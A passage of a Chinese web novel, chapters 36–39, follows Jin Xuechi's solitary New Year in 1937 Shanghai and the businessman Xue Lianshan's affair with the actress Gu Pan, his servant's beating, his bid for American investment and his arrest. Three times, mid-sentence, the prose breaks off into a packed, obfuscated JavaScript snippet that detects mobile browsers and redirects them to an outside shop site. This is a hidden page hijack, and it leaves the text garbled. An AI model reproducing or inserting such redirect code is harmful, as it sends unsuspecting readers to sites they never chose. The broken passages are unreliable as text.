金雪池此刻已经躲不见了,孙婕霓盯着前排镜子里的那个男人,越瞧越起疑。这人的五官并没有哪一处特别给人印象,但组合在一起就相宜、恰到其份,并有种整体上的文质彬彬感。她一边瞧着,一边慢慢走过去,怀疑这人就是薛莲山。 正好听到那女人低笑着撒娇,“薛先生......” 孙婕霓于是旁若无人地走过去,拿起那顶帽子端详片刻,自言自语道:“不错,我要了。” 36.1937新年 金雪池实在没料到孙婕霓这样大胆,目瞪口呆,又悄悄地转移到了他们的后一排去观察情况,却仍不好意思露面。那女人并不疑有他,只是心平气和道:“你好,我先挑中的。” 孙婕霓不看她,只是盯着薛莲山,“小姐,你虽挑中了,但并没有拿去付款,这帽子并不归属你呀!” 论财富,她远不如薛莲山有钱,可中国人向来都不只以财富论高低。士农工商,商贾之流不能为国家做出大贡献,算不了什么;她爸爸是当官的,因此她也没必要对他太尊敬。 “咦,可是我都拿在手上了。” “Well,你没有拿在手上,你甚至手都没掏出来。” 女人气得脸微微发红,把手从热水袋里抽出来,同时回头去看薛莲山寻求支援。薛莲山刚才一直没插话,是在回忆孙婕霓究竟是谁,他对她略有印象,这时候才问:“是孙参赞家的千金吧?” 此言一出,周围人纷纷抬起头来看热闹。孙婕霓心中一沉,她本来只是想给薛莲山找个不痛快然后扬长而去,这人却把自己认出来了!事情闹大了怎么办?她不是丢她爸爸的人吗?现在不要帽子,是她怕了薛莲山;要帽子,是她生在高知家庭里,却嚣张跋扈、不讲道理......她一下没了主意,不说话,只是四处寻找金雪池的身影。 金雪池本来就没让她为自己出头,现在只能万般无奈地探出半个身子,向她招招手,“走了。” 孙婕霓对她的态度并不满意,走什么走,我唱了白脸,你来唱红脸?不过是个土老板,何至于这么怕他?故而没有理金雪池,还是梗着脖子和这对男女对峙,“不错。说了我,你身边这位小姐呢?半年前薛董身边还不是这人吧?” 金雪池真的快疯了,只感觉一层滚烫的血在脸皮下涌动,眼珠子也发僵,只瞪着孙婕霓看,不敢挪动,怕和什么别的人对视上。这是很有必要的,因为薛莲山的目光正在她脸上停留,他想:她憔悴了。 随后,他闲闲上前一步,挡住那女人。孙婕霓连忙往后退,不过他并没有迫近的意思,只是像回答朋友家孩子的问题一样,认真说:“她是我的女伴,叫顾盼,是电影演员。” 他这么回答,孙婕霓倒不知所措了,想不出应对之词,只是用眼珠上上下下地扫视他。这种扫视对同辈来说有威压感,对薛莲山完全无效,他继续不紧不慢道:“我明白是怎么一回事了。贵府家风优良,想来孙小姐并不是非要这顶帽子不可,是对朋友讲义气。前几年我去美国时遇到麻烦,令尊也积极相助,这样的性情令薛某很敬佩。不过我的错处和顾小姐并无关系,顾小姐确实想要这顶帽子,能否让给她呢?” 孙婕霓有气无力地把帽子放下了。 薛莲山笑眯眯地朝她点头致意,“谢谢你。” 他拿起帽子,另一只手搂住顾盼的腰,带她去柜台付款。顾盼十分雀跃,她听到“孙参赞”三字就决定主动放弃帽子了,不值得让爱人为这种无聊的东西开罪于对方。她只是个名不见经传的小演员,她的分量并不重。 “其实等个几周,新货就补上来了。”她抓起他的一只手,也往热水袋里塞。薛莲山的手被束缚住了,便用膝盖顶了一下她的大腿,亲昵地小声道:“没事,这不是说通了。走吧。” 当天两个女孩不欢而散。孙婕霓觉得金雪池胆小怕事,金雪池觉得孙婕霓惹是生非——老天爷,把她表现得像个可怜的怨妇一样,她从没说过什么呀!现在好了,薛莲山会认为她对他情根深种。她确实情根深种,但他没必要知道的。 况且她的模样很糟糕,眼睛也肿着,是不健康的作息和学业压力导致的。现在好了,他要以为她“为伊消得人憔悴”了,不知道要得意成什么样子! 金雪池连续三天一面书都看不进去。 孙婕霓同样不好受,薛莲山越通情达理,越显得她无理取闹。年三十的时候,帽店的伙计专程往孙公馆跑了一趟,送来了一顶当天同款的帽子,说是新货刚刚到,薛先生想对她表示感谢,钱已经付过了。 她捧着那顶在她看来并不时髦的灰色圆帽,脸上红一阵、白一阵,大步走到沙发前,把脸埋在针织罩布里面。 薛莲山太会做人,她当众拂了他的面子,他却能做得如此周密。金雪池呢?金雪池是一潭深水,石子投进去就不见了,没有回响,下落不明。她在水边走了很久,往里扔过怒火,扔过针对,甚至试试探探地扔过情谊,冷得手都僵了,连想要靠近的念头都跟着凉透了,这潭水就是古井无波,风也吹不皱。 她失望得快要流眼泪,暗暗发誓:再不跟你玩了! 这个年过得很清冷,去年虽也是身处异乡,但金雪池好歹是在热热闹闹的薛公馆过的年。今年一个人缩在阴冷的石库门房子里,那孤独感简直是铺天盖地的。偏偏金雪池又不是很有生活情调的人,既没有特地准备一桌好菜,也没有买什么有节日气氛的装饰品,只记得给金文彬烧纸。 她因为感到了没钱的难处,怕金文彬没钱用,买了足足五角钱的纸钱,从下午四点烧到太阳落山。晚饭是在外面吃的,因为还要用纸碗盛一碗回去给金文彬上供,怕房东太太嫌晦气。 唉,老豆,你女儿没什么本事,凑合吃吧!等我有钱了,买了自己的房子,专门给你做个牌位摆桌上,我吃什么你就吃什么。 回到屋里,金雪池烧了两壶热水擦身体,足足折腾了一小时才完事,缩在被窝里不想动弹。枕头的左边放着一本概率统计,右边是放假前从学校图书馆借的小说。 大过年的,别学了。 她于是抱起小说看,魂不守舍地,当时好像把字的意思看懂了,几页翻过去后,却全然不记得内容。这样乱七八糟地翻看一通,台灯陡然熄灭。 这一片居民楼限电,到了十二点,房东太太会拉电闸。新年已到。 金雪池在黑暗中一动不动地坐着,眼眶和鼻子阵阵酸热,酸劲儿泛上来了,才去思考为什么。因为想念老豆?因为除夕夜好凄凉?因为薛莲山?这三件事实际上是一件事:她很无能。她知道自己聪明,但那不叫智慧,只是聪明,小孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148268|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种无用且讨人嫌的聪明,追着蝴蝶越跑越远,把自己弄迷路,直到大人来找到她、带她回家吃饭。 现在没有大人来找她,她一个人孤零零地坐在野外,快饿死了。 她摸向春带彩,因为左手一直缩在被子里,镯子也被捂得很热。玉石既不会温度太高,给人以烘炙之感;也不像人身表面的热气那样流动易散,只是温温地蕴藏其内。金雪池捏着这样刚硬而蕴藉的一枚玉镯,情不自禁就想:你也有这样的时刻吗? 太多太多。 我想成为你那样的人。 长大了就是了。 这是金雪池猜的他的答复,没法验证正确性,但总归把自己哄得很高兴。一觉睡醒,她心境平和地还掉小说,直到开学前,保持住了每天至少五个小时的学习时间。 林荣琪在开学前一周回到学校,特意跑来看她一眼,提出帮她搬行李。金雪池没答应,自己吭哧吭哧搬回宿舍,又主动打扫了积灰,然后问孙婕霓要不要一起吃饭。 孙婕霓怀疑她有病,不是闹掰了吗? 金雪池早就没在意了,怕她没听见,绕到她面前问:“要不要一起吃饭?” 孙婕霓翻了个白眼,推开她去和门口的老妈子说话了,弄得金雪池莫名其妙。不过不吃就不吃,她只是礼节性地问一嘴,她本来也不喜欢和孙婕霓一起吃,于是独自高高兴兴地去凯司令排队买了几块栗子蛋糕,作为自己努力学习的奖励。 孙婕霓原本下定主意再也不理金雪池,never,never。奈何金雪池的态度完全像个没事人一样,让她维持不住横眉冷对。她准备翻旧账,但细细一番,那天金雪池除了说一声“走了”以外,并无出言不逊之处。于是无名火只能是无名火,喷发不出来。 她只好每天无视金雪池、不断地翻白眼,把火星子一点点地迸出来。 说到底,孙婕霓是个并不复杂的小姑娘,如果金雪池愿意研究她的话,她的思想简直一览无余。可惜金雪池对研究十六世纪欧洲航海史的兴趣都比研究孙婕霓大。 这学期连研究欧洲航海史的时间都没有,她就更关注不到孙婕霓了。 林荣琪这家伙的消息灵通过了头,不仅得知了她的计划,还认识了更多学长学姐,跑来问她:“有一份零工你要不要?替大四的写作业。” 金雪池刚打算拒绝,一听他说“写作业”,立刻答应了。她没怎么去大四的课堂,手上除了教科书以外也没什么资料,看完书上的例题就考试,没有任何缓冲地带。 她双手合十道:“我要,我要,谢谢你。” 林荣琪满意道:“我替你谈价钱,而且我不抽成。” “为什么不抽成?” “因为我不缺钱,过个年,不知道收了多少压祟钱!你才缺钱。我只是想锻炼谈生意的能力。” 金雪池坚持道:“我九你一,你拿一份。” “学姐——” “唔,咪讲了,我冇时间,我马上还有课。”金雪池转身就走,“Bye bye。” 37.顾盼生辉 那天晚上,薛莲山的心情亦是十分不痛快。 他其实到最后都没弄清楚金雪池到底是爱他还是不爱他,正常范围内的仰慕肯定有,但男女之间的爱呢?他太知道女人爱一个人是什么样子:变成傻瓜,变成话篓子,变成妒妇,最后还要变成你的母亲。金雪池是一样不沾。他不去找她,她便不找他。 他估摸着这次金雪池也是逃避问题,等着他去哄,可他的耐心是有限度的,已经过去一年了。 薛莲山在黑暗中浮躁地站了片刻,又下楼要了一杯冰镇柠檬水。乐队很吵,男人女人的皮鞋跟也吵,彩色灯泡更晃他的眼。他结了账,出门一看,门口果然堵得水泄不通,打电话让定青过来是不现实的。 于是他就沿着马路走,寻找有空的黄包车。天气很热,渐渐发了一身汗,火气通过这样安静的形式出去,心中便圆融自洽了。 他就喜欢她是大小姐,绝不主动,若想要主动的,现在折返回舞厅还来得及,那些漂亮舞女要多主动有多主动——然而那不是谈恋爱。他真心想要和人家浓情蜜意谈恋爱,除了跳舞、吃饭、欢好之外,还要散步、写信、聊天,舞女一般聊不出什么内容,每次最让他有体验感的都是女学生。 很好,很好,自讨苦吃。薛莲山叹出一口气,决定不再想金雪池了,同时内心又有点遗憾。 几天后,想要巴结他的人组了个局。东家不是上海滩的名人,他不认得;但中间有一位巡捕房的老朋友做介绍,他不好拂朋友的面子,还是去了。 东家第一时间做了自我介绍,他是个电影监制,希望薛莲山来做出品人。一聊到这个话题,薛莲山就想起了《神男》,忍俊不禁笑起来。监制以为他是有意向,更卖力地介绍起自己的剧本。 “喏,这就是我们的女主角。”监制伸手一指,“顾盼顾小姐,来打个招呼!” 薛莲山不动声色地朝顾盼微笑了一下,明白过来:监制是要往他身边塞人。 以监制的审美看来,顾盼只是一双眼睛格外有灵性,耳朵却偏大,不能算个无瑕疵的美人。怕薛莲山看不上,他还带上了另一个女配角小刘。这女配角在电影中就是当丑角用的,十分之胖,鼻子耳朵都鼓囊囊的,像下油锅炸膨胀了的面食。 在这副面耳朵的衬托下,顾盼的耳朵无论如何不能算大。 监制喊:“小刘,倒酒!” 小刘就十分难为情地站起来,庞大的身躯暴露无遗。她四下找酒瓶,薛莲山低头一看,说:“酒在我这里。” “好,薛先生,你放在盘子上转过来就好了!” 薛莲山笑道:“我正好有剪刀。”他掏出皮夹里剪雪茄的剪刀,扎进木塞里,一手握着剪刀往上拉,一手抓着瓶身来回摇,很快拔出了软木塞。把三瓶都帮忙打开,才给小刘转过去。 小刘伸手按住玻璃转盘,好像闻到了空气里转过来的一点香味。 她一个个地给宾客倒酒,来到薛莲山身边时,手都开始发抖,因为他英俊,因为他年轻有为,而她居然是作为红花的陪衬出现在他视线中的。她感到羞愧,她也是个女人。 两滴红酒洒到了桌布上。 他的一只手伸过来扶住瓶颈,断断续续的暗红色酒水顿时流畅了,小刘却更加慌张,两只手隔得太近,她的手肿胀,他的手大而有力。酒杯快满了,她没注意到,是薛莲山把酒瓶扶平。 “抱歉......” “不要紧。”他轻声说,“我来帮你吧。” “哦,薛先生,不需要,你请坐下......” 他取下左胸领口襟着的一朵月季花,递到她面前。小刘不明白什么意思,傻傻地接过来,另一只手上的酒瓶子就被他顺手抽走了。薛莲山冲她笑了一笑,走过去给监制倒酒。 监制还要拿小刘开玩笑,“薛先生的意思是,奴面不如花面好。” 薛莲山正色道:“我的意思是,鲜花赠美人。” 饭后他直接坐车走了,也没有让顾盼上车。监制并没有理解薛莲山的意思,以为他忘了,又催顾盼亲自去一趟。 薛莲山倒是态度很好地接待了顾盼,听她前言不搭后语、颠来倒去地把来意讲清楚,他才道:“我以为我的意思很清楚了,我不打算和王先生合作。” 顾盼还傻傻地问:“为什么?” “这人不对我的胃口。” 顾盼苦王监制已久,终于听到有人说他的坏话,立刻打开了话匣子,滔滔地说起来自己在他手下受到的不公平待遇。薛莲山捧着一杯咖啡,有点莫名其妙,但还是颇有礼貌地听着。 说到最后,顾盼居然哭起来,“所以要不是......要不是弟弟妹妹还小,我也不得出来工作!他总跟我说,说后面就能挣大钱了,冬天我往湖里跳,夏天从早在室外待到晚......” 薛莲山准备出门开会了,然而她正讲到动情之处,这时候撵她走太生硬了,只吩咐下人给她做饭,自己暂时出去一趟。晚上回来,他刚进门,顾盼就一阵风似地飞过来,问:“你吃饭了吗?他们给我做的有一道青菜特别爽口,我都没怎么动,你去尝尝!” 他将两只手插在口袋里,笑着将她从上到下打量了一番。 她是真心喜欢他,他看得出来。她还有困难,如果不赖在他这里,就无处可去了,他也看得出来。那么,即使监制和她的动机都有问题又如何呢?这种程度的问题他承担得起,没有理由不为美人承担下来。 两人于是顺理成章地开始同居。 不过他对于顾盼到底有没有问题,始终不能下个定论。就此人的表现来看,有过度暴露自己、剖析自己的癖好,如果她还藏了事情没跟他说,那也太不合常理了。 到薛公馆的第二天,她就把自己一路以来的所有苦痛和艰辛,像倒鱼篓似的,一股脑儿倾倒给他,其中包括她六岁偷吃被父亲吊起来打、邻家哥哥摸她屁股;到薛公馆的第三天,她就把自己献给他了。 “我爱你。”她说着说着,自己哭起来,“我爱你,你爱我吗?” 薛莲山有一点爱她,觉得她那双眼睛确实很有“顾盼生辉”的风致,夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152479|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她名字起得好,结果现在想起来,就记得她说“其实是盼弟的意思,恰好姓顾而已”——艺术感的名字跌回了中产家庭的困顿里。他称赞她说话时淡淡的鼻音很妩媚,她一定要告诉他“我有鼻炎,冬天一天就要洗七八次手帕”,现在她一说话,他就联想到她擤鼻涕。 神秘和想象力才是人最华美的衣服,顾盼什么都要跟他说,就像没穿衣服。 但是她是个年轻的、哀缩着的小女孩,在他面前真的不穿衣服。你爱我吗?你不爱我,我就没有办法了。 他是个十足的绅士,她一流泪,他就有点爱她。 几周后邵子骏来访,本来叼着烟,距离他几步时就自觉扔地上踩灭了。顾盼被他这混混劲儿吓一大跳,慌忙躲起来。 薛莲山斥道:“我这是柚木地板!” 邵子骏脸上的绷带早拆了,不出意料,留下了瘢痕,且下巴有点歪。不过他原来就长得不好看,这样的面貌反而更给他增添几分凶相,镇得住场子。他嘿嘿一笑,坐在沙发上,两脚往茶几上一蹬,“你怎么换人了?” “就是换了。” “唉,可惜!我今天是带了个重大情报来的。倘若你还跟金小姐交往的话,可以搏美人一笑。” 他立刻道:“关于金文彬的?” “不错。我手下有个香港人,他搞砸了他大佬的单子,畏罪潜逃到上海。他说香港做人命买卖的就那么几家,基本上都认得,我就让他回去打探情报。老薛啊,即使是我手下的人,也不是怎么使唤都可以的!他不敢回去,我送了他二十箱烟土,这事才算办成。” 薛莲山听他一口一个“我手下的人”就想笑,觉得他不过是个孩子,“叫什么?” “阿龙。” “然后呢?” “我正要说,你别打断!”邵子骏大声道,“正好就是阿龙过去在的那一家干的,他私下见了几个朋友,不过泄露顾客消息是行业大忌,不能全说,明白?他们就只说,雇主是广州人,要干金文彬的决心非常之坚决,很早之前就雇佣他们找金文彬的下落了,是前年才找到。因为金文彬过去不叫这个名儿,他们也不知道他跑去了潮州。” 薛莲山思索了一会儿,“那是多久以前的恩怨?金小姐有记忆的时候,他就叫金文彬了。” “深仇大恨啊!不过,你现在也不用知道这些了。” “话不能这样说,我毕竟是保下了金小姐,广州那边的人要是权势滔天,我会很为难。” “大概率是的。阿龙说,他们很贵,而且不是给钱就办事,都是朋友层层引荐的生意。”邵子骏从果盘上拿了个油桃,在衣襟上揩了揩,咔嚓咔嚓地啃起来,“不然我把金小姐请离上海,这事就和你无关了。否则的话,确实是引火烧身。” “不用,现在又没什么麻烦事。” “咦,你还喜欢她?喜欢她干嘛换人?” 邵子骏的观念里并没有他被人拒绝的可能性,只能是他主动换人。薛莲山没理他,只自言自语道:“这个金文彬,祸及妻儿,真是可恨!” 38.定青 年前,薛公馆迎来了一位不速之客——魏书理。 这人虽狂嫖滥赌,但是真的有点头脑,每次都能在快要把家败掉之前力挽狂澜,把家当又挽回来。这回在云南心旷神怡地休了一年假后,他又心旷神怡地回来了。 “魏叔叔,你还敢回来?”薛莲山始终尊称他一句“叔叔”,即使没多看得起他,“日本人不是逼你逼得很紧吗?” “不错,不过,现在他们插不进手了。”魏书理嘿嘿笑道,“我进行了一番操作——让美国的洋行入了10%的股份,现在我那公司摇身一变,成为中外合资企业了。他们不怕我,总怕洋大人吧?” “美国不是奉行孤立主义吗?” “也不用他们真的帮这个、不帮那个,他们光往那儿一站就有震慑效果。” “我看不见得。就是今年的事,青岛崂山烟厂跟美国一个叫什么......美亚烟草公司合作,结果日驻青岛总领事一施压,美方就退出合作了,变成中日控股。” “美亚烟草公司只是签了个合同,没抢先入股。”魏书理抬眼看了他一眼,似笑非笑,“贤侄啊,你就是不爱把股权交出去,是不是?” 薛莲山也笑:“打走虫蛇,引来豺狼。” 无论如何,魏书理作为同行是来给他出招的,薛莲山请他吃了饭,回来就一直考虑让美资入股的事情。他在书房里静静地抽雪茄,顾盼就溜进来,从后抱住他的头,“刚出去什么人吃饭呀?说什么啦?” 薛莲山被她抱得整个人向后仰去,只得伸长胳膊,在砚台里抖了抖烟灰,“没什么。” “没有其他女人吧?” “唔,有。” 顾盼睁大眼睛:“有?” “有魏先生的太太、大小姐、二小姐......”薛莲山笑着躲过她的揉搓,“晚上陪你吃饭,你先自己玩一下。” 当天下午,仿佛是一种上天的告示,定青就被人打了。薛兆荣又来找他借钱,这回带上了他多病的妻子,他就是看在嫂子受了一路颠簸的份儿上都没法不借了。给了钱他就打发他们回家,让定青送去火车站。 就在偏远、人多眼杂的火车站,定青被从后敲了一棍子,都没看清是谁就失去了意识。等巡逻的红头巾印度巡捕发现他时,他口鼻中涌出的血沫都铺开了可观的一大片。 有一件事金雪池猜的不对,定青不是他的保镖。 薛莲山此前不认为自己需要保镖,他虽有钱,但既无可能会遭受绑架的妻儿,也从不参与任何政|治活动,料想不会有人要丧心病狂地给他一枪。若要防贼,家中也蓄养了几个家丁。 定青刚来的时候,字也不认得,车也不会开,还满口徐州土话。薛莲山本来想让他坐办公室,挂个闲职,没想到他坐也坐不住,时不时出去浇一趟花、抽口烟,烟还是旱烟,他随时把一根叮叮当当的旱烟枪别在裤腰上。 薛莲山只好把定青带回家里。他给他点了一只香烟,把烟盒塞到他手里,“抽这个,把烟枪收起来。” 定青愣了愣,立刻说:“管!” “不要说‘管’。”薛莲山耐心地教他,“说‘好的’。你不用去公司了,每天好好照顾你娘,再就是向我的汽车夫学开车,明白吗?” “管。喔,好的。” 在定青心中,他是大哥哥,是先生,是他们母子的贵人。母亲在薛公馆独享一间大卧室,却总是恹恹的,不肯享受老太太的待遇,宋妈做什么,她就做什么。薛莲山并不禁止她做家务,她当她的汪妈,他当他的孝子贤孙,早晚各来问候一次。 他不能理解母亲平白受了这样的殊荣,为什么还对薛先生没有好脸色——也不能说没有好脸色,她并不领他的情。薛先生问她:“吃了么?”她就答:“吃了。”并不多问一句“你吃了没有”。 只有一次,他给母亲洗脚的时候,呱呱地谈起薛先生多亲切、薛先生多厉害,母亲用竹制的痒痒耙在他头顶打了一下,忽然就说:“看你没出息的,人家比你还小五岁。” 很多年后定青才明白过来,不是不领情,是领之有愧。 薛先生比他年轻,这是他从未预料到的,因为对方看上去很像个成熟的男人,而自己只是个傻大个,一点也不给人以稳重、牢靠的感觉。但在心理上,薛先生仍是他的大哥,薛先生说往东他就往东,薛先生说往西他就往西,薛先生把他带到悬崖边上,命令说往下跳,他就往下跳。 薛先生没这么命令过,只命令他直接开车回家,天气热,一会儿自己搭车回来。 定青莽莽撞撞地去问:“薛先生,你图什么?” “嗯?” “我什么价值都不能带给你。” 薛莲山就笑道:“你不是帮我打杂吗?你什么都能做呀。” 他是花言巧语惯了的,这样说话,不仅能避重就轻,还能把人哄高兴。定青一开始被他哄得晕头转向,日子久了,便可以听出他不想回答。 日子久了,他甚至能感受到自己比薛先生大的那几岁。薛先生在思想上很成熟,在做派上却并不如外表那么稳重,即使身体不好,也毫不顾惜,一味地寻欢作乐。有时财务紧张,却为女人一掷千金;有时喝了酒还非要开车,把车开进江里。 定青就不知道这些东西有什么好玩的,可能是因为薛先生很摩登吧,他就是个老实的乡下人,又傻,连女人的好处都不懂得,就懂得自己是薛先生的人。 薛莲山有一次说:“你也老大不小了,给你娶个老婆好不好?” 他摇头:“我跟着你。” “成家了一样能跟着我。” 那就不一样了。虽然他现在学到了很多,也有了自己的主意,但在意志上永远愿意如此:薛先生把他带到悬崖边上,命令说往下跳,他就往下跳。反正娘也走了。倘若有了老婆孩子,跳之前,他还需犹豫一番。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157585|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定青知道薛先生拥有的财富太多了,自己的忠诚与之比起来,简直什么都不能算。在自己以外,薛先生大概也能花钱买到大把、大把的死士。他从不缺愿意为他而死的人。 可是定青什么财富都没有,定青就这一条命,也不知道是好命还是烂命,总之献给薛先生了。 这回睁开眼睛,他就意识到自己正躺在床上,宋妈正坐在一边打绒手套,一见他醒了,大呼小叫地就去找薛莲山。他想说用不着,然而发不出声音。 薛莲山很快来了,按住他的肩膀,“别动。你这是颅骨骨折,还好没有移位,不用做手术,我就把你接回家了。” 定青因为觉得不光彩,也无话可说,倒是薛莲山娓娓地讲了很多宽慰的话。这些话其实没什么要点,讲与不讲都无所谓,然而看定青这样动弹不得地躺在床上——脑袋还不能挨床板,只在颈部垫了个很高的枕头,他便愿意乱讲讲,权当一种安慰。反正声音轻且慢,又不聒噪。 薛莲山自身的态度虽是漫不经心的,定青却一字一句听得认真。听完了,他仍然无话可说,只觉得是自己傻,惭愧地眨了下眼睛。薛莲山也没指望他做回应,因为自己在说废话。 “好好休息。”他最终起身,轻轻拍了一下定青的手臂,“我真的要雇个保镖了!” 薛莲山没有去保安公司挑人,来路越正规,水准越平庸,就像药店里的药效果总不如黑市上的好一样,他直接一个电话打给了邵子骏。邵子骏二话不说,就把那位阿龙打发过来。 “你不是说他很厉害吗?舍得给我呀?”薛莲山笑问道,“我怎么回报你?” “回报就不谈了,我对你,那还有得说!我要在饭店里用你的名字挂账。” “要不要来我家住一阵?你一个人在蒲石路也不热闹。” “哎,老薛,下回吧!我瞧着老爷子是快死了,这周我天天往邵公馆里跑,脱不开身。妈的,每天看邵子驹那张驴脸!”邵子骏在那头直嚷嚷,“挂了啊,我现在就出发了!” 薛莲山挂了电话,想找定青——又想起定青在床上躺着,思索片刻,找到顾盼,让她挑件礼物给邵子骏寄过去。随便什么都行,价格三四百左右。 顾盼发现自己是被他所需要的,十分快乐,办完事回来又给他讲了两三个小时自己挑礼物的心路历程,把薛莲山讲得烦不胜烦,只能逃到定青的房间躲清静。床上躺着一个男人,顾盼就不好意思跟进来了。 于是薛莲山在定青的呼噜声中思考了一晚上,做出了决定:先去见见许豫生!毕竟他的矿已经是“国家重点开发项目”了,贸然引入外资,可能会引起上面的不快。但是话说回来,上面并不声援、保护他,之前和铃木的那场官司闹得沸沸扬扬,许豫生不可能不知道,但也连个屁都没放。 他一个无实权的企业家只能出此下策保护自己。资源委员会既然不作为,想必也不能指摘他什么吧。 39.第 39 章 第二日一早,薛莲山还在刷牙,家丁就进来通报说:龙先生到了。 对于广东人,薛莲山一直怀有十足的敬畏之心。他前几年闲钱多,就全世界到处跑,说是谈生意,其实矿这种实业生意有什么可跟外国人谈的?就是坐不住,好玩。结果发现移民到海外的其他省份的国人都成不了气候,只有广东人一抱一大团。 他在曼谷、柬埔寨认识的几个珠宝商就是潮州人,印尼那边挖锡矿的以客家人为主,北美的同胞更是以广府人占绝对主导地位。这帮人既守古中国的宗族文化,又有敢于下海的闯荡精神,对他们来说,几乎没有“绝路”可言,只要有钱,什么路都赶走,什么地方都敢去。就连秘鲁和新西兰——薛莲山此前听都没听过,居然能有十万广东人去打工。 一言以蔽之:猛。 倘若金雪池在这里,他就可以把这番论断发表给她听,她呢,不管听到什么,表情上总是八风不动,然后发表更加惊人的论断......她会说什么?薛莲山猜不出来。 从盥洗室到楼梯这几步,他就走得感慨良多了。 阿龙一点也不见外,正坐在他的沙发上掏耳朵。此人个子并不高,但也不矮,身材匀称,五官也并无让人印象深刻之处,导致薛莲山不得不盯着他看,怕他出一趟门,自己就认不得了。唯有一件特别的,他的长衫上面颇有几块油渍,头发也显得不太清爽。 “龙先生,”薛莲山微笑着点了点头,不握手,是因为怀疑他的手也脏,“幸会。” 年纪轻就是有这个不方便之处,许多下属的年纪都比他大,他不好直呼阿龙。 阿龙一摆手,“我是最后一个字叫龙,不是姓龙。” 这么说,是不打算告诉他大名的意思。薛莲山坐在他对面,继续道:“好,阿龙。二少爷素来在我面前对你赞美有加,他也是个厚道孩子,待你必然不差。现在到了我这里——” 阿龙再次打断他,“包食宿,一个月一百。” 不爱听他讲场面话。薛莲山也不多说了,伸手一指餐厅的方位,“先用早餐,一会儿我就要出一趟门。” 他对许豫生的印象不好,主要是因为此人十分爱摆架子——稍有成就的中年男性大都避不开这一点。只是一部分人在面对他时,自觉收起来了;而许豫生的成就比他大,没必要收起来。 薛莲山年轻时受过许多怠慢冷眼,他又是个好面子的,恨透了这种习气。他向来是往自强的那条路上走,因此比起“等我有钱了我也要为难你们”这种心理,他更倾向于有钱了之后做个亲切的人,待下属好,待穷人好,待刚踏入社会的年轻人们好。 然而许豫生这老东西显然不能有此等觉悟,“薛先生,‘重点开发’的意思就是煤矿资源对国家至关重要,无论如何都不该引入外资。” 薛莲山深吸了一口气,“我再不作为的话,日资就进来了!” “你可以避一避。”许豫生并不回避委员会的不作为,“因为铃木毕竟没有官方性质的举措,只是对你进行私下的威逼利诱,委员会不好下场。再说了,薛先生,现在国际局势紧张,能不跟他们产生冲突,就尽量不产生冲突。我个人是很同情你的处境,但我不止代表个人,还代表官方的立场。” 薛莲山听完这通官威十足的演说,心里隐隐地不耐烦了,“那么,我想请问,引入外资有没有触犯规则?” 许豫生责备道:“这是什么话呢?人立于世,只以法规约束自己,而不以道德约束自己吗?” 薛莲山立刻告辞,怕再不告辞自己要出言不逊了,同时做出决定:赶紧找个美国资方合作!这资源委员会是要装死到底了。 他过年期间就一直忙这件事,没怎么回家,在办公室里写信、谈话、派人寄送东西都更方便些。顾盼就怀疑他有了别的女人,这些事为什么不可以在家里做呢?因此一定要跟到苏兴公司来。 他很头痛:“你不要闹。” “我不闹,谁闹了?”顾盼一本正经地说,“我给你浇花。” “你浇一楼的花,好不好?我不喜欢有人在附近走来走去。” 顾盼立刻答应了,她浇一楼的花,也可以盯着谁上了楼梯、谁坐了电梯。及至要出门的时候,走到汽车房了,她又突然跑回家拿东西,拿了一趟东西还不够,要拿第二趟。 薛莲山笑道:“嗨,你要搬家吗?” 她说:“我给你拿了毯子、热水袋和绒拖鞋。你办公室里有这些东西吗?一待待一天的话,还是应该舒适些。” 薛莲山就忍不住回头去看她,她抱着毛茸茸的一大包东西,将下巴抵在上面,是一副稚纯可爱之态;整张脸上就一双眼睛最有女人味儿,是柳叶形的,她也不肯好好使用,只是滴溜溜地朝他飞了个眼风。 这本该是让他感动的时刻,不过他这人不容易被感动,倒是又想起了金雪池。金雪池长得并不显幼稚,相反还很高级,骨相突出,皮肉紧绷,有一种瓷器的质地;言语也不怎么天真可爱,连女性特质都少,最多的就是“哦”“随便”。但她是真真正正的小孩子,他知道的,她完全就不关心他。 想不通。 顾盼虽说是要浇花,但也没几盆花可以供她浇,大厅里又冷,龚小姐就把她带到了会客室去。这一天把她无聊透了,什么好玩的都没有。晚上回家时,她便很不爽快地说:“那位龚小姐在你办公室里进进出出啊!” 薛莲山平和道:“人家的儿子上小学了。” 几番周折,他联系上了一家叫欣达的美国公司,人家是做工业设备的,确实可以合作,对面就派了一位叫史密斯的人来跟他详谈。见面约在当天下午,结果当天早上,几个华人巡捕就冲进苏兴,以“颠覆活动”的罪名逮捕了他。 